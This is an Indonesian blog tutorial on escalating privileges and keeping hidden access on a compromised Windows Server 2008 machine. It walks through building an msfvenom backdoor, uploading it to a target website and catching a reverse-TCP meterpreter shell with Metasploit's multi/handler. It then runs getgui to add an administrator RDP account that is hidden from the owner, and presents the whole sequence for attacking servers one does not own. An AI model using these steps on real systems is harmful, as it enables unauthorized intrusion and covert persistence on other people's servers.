Mengatasi Gagal Add User RDP di Shell Windows

Sesuai janji saya sebelumnya, disini saya akan share sedikit trik untuk mengatasi gagal membuat RDP user saat kita mendapatkan shell Windows. Hal ini biasanya disebabkan user dari webserver yang berjalan tidak memiliki hak untuk membuat user baru. Sehingga kita membutuhkan privilege escalation disini.

Pada kasus ini, kita membutuhkan alat untuk melakukan privilege escalation itu sendiri. Dan disini "alat" yang paling tepat adalah Metasploit. Dimana banyak menyimpan exploit untuk "menyerang" sistem Windows.

Untuk macam macam trik previlege escalation bisa kalian simak disini :

Privilege Escalation and Local Exploit

Nah pada tutorial kali ini target adalah Windows Server 2008 Sevice Pack 2. Dimana exploit MS16-016 bisa digunakan disini.

Sebagai catatan, MS16-016 dapat digunakan untuk menyerang Win Server jenis berikut :

Windows Server 2008 SP2
Windows Server 2008 R2 SP1
Windows Server 2012 Gold
Windows Server 2012 R2

Tutorial Exploit MS16-016

Oke langsung saja ke tutorial.

Target adalah Windows Server 2008 SP2

Saat mencoba add user RDP, gagal.

add user

blank result. fail.

Nah, disinilah Metasploit beraksi :D .

Sebagai catatan, kalian harus menggunakan metasploit yang berfungsi diluar LAN. Bisa dengan setup port forwarding di router atau menginstall metasploit di VPS / Linux Server.

Pertama, kita buat backdoor menggunakan msfvenom .

Ada banyak teknik, berikut contohnya :

Backdoring Executable File Using Metasploit

Yup, kita membuat file .exe yang akan digunakan sebagai alat untuk mendapat meterpreter session.

Lalu , upload backdoor tersebut ke web target.

Selanjutnya buka metasploit, jalankan command berikut :

sudo msfconsole
msf> use multi/handler
msf> set payload windows/meterpreter/reverse_tcp
msf> set LHOST 192.168.48.1
msf> set LPORT 4444
msf> exploit

Port dan IP silahkan disesuaikan sendiri. Harus sesuai dengan yang ada di backdoor.

Lalu jalankan backdoor .exe yang sudah kita upload ke web target.

Setelah metasploit mendapatkan meterpreter session, coba jalankan fitur getgui.

meterpreter > run getgui -u userrdp -p passwordrdp

Fitur getgui sendiri memiliki banyak sekali fungsi, selain membuat user baru otomatis menjadi administrator, getgui juga menyembunyikan user tersebut dari daftar login sehingga pemilik server tidak akan tau kalau ada user baru yang terdaftar, dan getgui sendiri otomatis membuka port RDP jika sebelumnya didisable.